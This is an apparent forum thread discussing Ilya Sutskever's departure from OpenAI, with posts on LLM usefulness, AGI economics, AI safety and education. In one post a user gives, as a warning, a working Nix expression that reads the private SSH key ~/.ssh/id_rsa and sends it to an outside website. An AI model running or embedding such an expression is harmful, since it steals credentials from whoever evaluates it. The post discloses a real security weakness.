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Ilya Sutskever to leave OpenAI

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Re: Ilya Sutskever to leave OpenAI

#831

Post by __MatrixMan__ »

sebastiennight wrote: post #754
__MatrixMan__ wrote: post #226

Earlier quoted context omitted.

I've been offered a "lump" of sugar before, and it was not a single sugar crystal. When I hear "large grain of salt" I imagine something like this https://crystalverse.com/sodium-chloride-crystals/ , quite different than a lump.

That is absolutely brillant and will make a fantastic week-long father-daughter science project. Thanks. Now back to figuring out something new for a 6-year old to program using Scratch...

I'm 37 and it's also going to make a great me-me project.

Re: Ilya Sutskever to leave OpenAI

#832

Post by jedberg »

player1234 wrote: post #817
anonymousab wrote: post #783

Earlier quoted context omitted.

> You can’t actually trust ai systems For a lot of (very profitable) use cases, hallucinations and 80/20 are actually more than good enough. Especially when they are replacing solutions that are even worse.

What use cases? This kind of thing is stated all the time, never any examples.

Any use case where you treat the output like the work of a junior person and check it. Coding, law, writing. Pretty much anywhere that you can replace a junior employee with an LLM.

Google or Meta (don't remember which) just put out a report about how many human-hours they saved last year using transformers for coding.

Re: Ilya Sutskever to leave OpenAI

#833

Post by CyberShadow »

karma_pharmer wrote: post #328
johnbellone wrote: post #103

Earlier quoted context omitted.

When you take a shot at the king, you better not miss.

Or, in this case, when you take a shot at Machiavelli.

Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.

In that comment, you wrote:

> It can delete your home directory or email your ssh private keys to Zimbabwe.

I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):

    let
      pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
    in
    builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.

Hope this helps.

Re: Ilya Sutskever to leave OpenAI

#834

Post by jdthedisciple »

nialv7 wrote: post #799
jdthedisciple wrote: post #764

Earlier quoted context omitted.

The "safety" team can go eat grass. I don't believe in AI "safety measures" any more than I do in kitchen cleaver safety measures. That is, nothing beyond "keep out of kids' reach" and "don't use it like an idiot" but let the cleaver be a damn cleaver.

A cleaver isn't going to try to kill you without someone holding it....

I genuinely don't get your point, you mean as opposed to an LLM ... ?

Re: Ilya Sutskever to leave OpenAI

#835

Post by dcchambers »

MVissers wrote: post #352
dcchambers wrote: post #275

Earlier quoted context omitted.

That's been my assumption since the beginning of this drama last year. He seems to have one goal: real AGI. He knows that while LLMs may make something that seems like AGI there's nothing actually intelligent about it and its never going to get them there. OpenAI wants to pivot and sell sell sell because all they see is potential trillions of dollars, and it's time to make money instead of burning more millions/billi…

There is more money in AGI than LLMs. Whatever it is, language seems key to intelligent algorithms. Nah, he departed due to politics (failed coup) and shift from research first to profit first. Same with Karpathy I believe. He’ll most likely go somewhere where he can get a lot of compute and go back to research first.

> There is more money in AGI than LLMs.

I'd argue there's no money in AGI. Such a technology actually being available would be such a seismic shift in society that it breaks every commonly accepted economic norm we have today.

Real AGI means ALL knowledge workers are effectively out of a job. And AGI + advanced robotics means everyone is out of a job. Once no one has jobs, money loses all purpose.

Whatever company invented AGI, if it ever happens, may rule the world but it won't be with money.

Re: Ilya Sutskever to leave OpenAI

#836

Post by tbrownaw »

still_grokking wrote: post #819
tbrownaw wrote: post #747

Earlier quoted context omitted.

It works fine for some things. You just need a clearly defined task where LLM + human reviewer is on average faster (ie cheaper) than a human doing the same task themselves without that assistance.

Given the fact that you need to review, research, and usually correct every detail of AI output, how can that be faster than just doing it right yourself in the first place? Do you have some examples of such tasks?

Yes. There's the one that $employer built a POC app for and found did in fact save time. There's also github copilot which apparently a large chunk of people find saves time for them (and which $employer is reviewing to figure out if they can identify which people / job functions benefit precisely enough to pay for group licensing).

Re: Ilya Sutskever to leave OpenAI

#837

Post by duped »

tsimionescu wrote: post #804
duped wrote: post #737

Earlier quoted context omitted.

> The single biggest problem in education is that it's impossible to scale the highest quality education Do you work in education? Because I don't think many who do would agree with this take. Where I live, the single biggest problem in education is that we can't scale staffing without increasing property taxes, and people don't want to pay higher property taxes. And no, AGI does not fix this problem, because you nee…

Having individual tutors for each child is not often discussed because it is self-evidently impossible for any cost whatsoever - it would require far too high a percentage of the workforce of a country to be dedicated to education. But it is the most responsible thing for the difference between the education the elites get, especially the elites of the past, and the general education. Sure, this doesn't mean you coul…

That's like claiming you know how to run a restaurant because you like to eat out. Or worse actually, since you're extrapolating your individual experience from a small set of educational systems to education as a whole.

If you're looking for insight into the problems faced in education, speak to educators. I really doubt they would tell you that the quality of individual instructors is their biggest problem.

Re: Ilya Sutskever to leave OpenAI

#838

Post by sebastiennight »

tsimionescu wrote: post #802
sebastiennight wrote: post #711

Earlier quoted context omitted.

The examples you're providing seem to have been thoroughly solved already. I'm at the European AI Conference for our startup tomorrow, and they use a platform that just booked me 3 meetings automatically with other people there based on our availability... It's not rocket science. And you don't even need those narrow tools. You could easily ask GPT-4o (or lesser versions) something along the lines of : > "you're goin…

GPT-4(o) lacks the ability to connect to any of the tools needed to achieve what I'm describing. Sure, it maybe could give instructions about how this could be done, but it can't actually do it . It can't send an email to your email account, and it can't check your incoming emails to see if any arrived asking for a meeting. It can't then check your calendar, and propose another email, or book a time if the time is av…

Here's what's strange about your argument.

I had a (human) assistant in my previous business, super-smart MBA type, and by your definition she wasn't a general intelligence on the day of onboarding:

- she didn't have access to my email account or calendar

- she didn't know my usual lunch time hours

- she didn't have a company card yet.

All of those points you're raising are logistics, not intelligence.

Intelligence is "When trying to achieve a goal, can you conceive of a plan to get there despite adverse conditions, by understanding them and charting/reviewing a sequence of actions".

You can definitely be an intelligent entity without hands or tools.

Re: Ilya Sutskever to leave OpenAI

#839

Post by sebastiennight »

omeze wrote: post #792
sebastiennight wrote: post #738

Earlier quoted context omitted.

You seem generally intelligent. Can you tell how many letters are in the following sentence? "هذا دليل سريع على أنه حتى البشر الأذكياء لا يمكنهم قراءة ”الرموز“ أو ”الحروف“ من لغة لم يتعلموها."

I counted very quickly but 78? I learned arabic in kindergarten, im not sure what your point was. There are arabic spelling bees and an alphabet song just like english The comment you replied to was saying LLMs trained on english cant count letters in english

LLMs aren't trained in English with the same granularity that you and I are.

So my analogy here stands : OP was trained in "reading human language" with Roman letters as the basis of his understanding, and it would be a significant challenge (fairly unrelated to intelligence level) for OP to be able to parse an Arabic sentence of the same meaning.

Or:

You learned Arabic, great (it's the next language I want to learn so I'm envious!). But from the LLM point of view, should you be considered intelligent if you can count Arabic letters but not Arabic tokens in that sentence?

Re: Ilya Sutskever to leave OpenAI

#840

Post by eggdaft »

vasco wrote: post #798
eggdaft wrote: post #768

Earlier quoted context omitted.

“Wasting years” is not a risk. It’s a choice. And as I pointed out it’s likely not wasted anyway.

Wasting from a savings perspective, come on now.

Hmm, no I think people don't get what I'm saying.

Yes, you might waste five years (in your words) of income. But that is not a "risk".

A "risk" for me is "this could all go badly wrong". Not having an extra five years of savings is just a fairly straightforward consequence. It's predictably going to happen, I can decide if I want it.

Real risk is "something can go catastrophically wrong". If say you've taken out a huge bank loan to fund the business and you have to declare bankruptcy if it fails, now _that_ is a risk. But nearly every founder I've ever met has taken nothing like that risk.

That's my point, startups are not risky in that sense, for most people, most of the time. It's kinda strange that so many people think they are.

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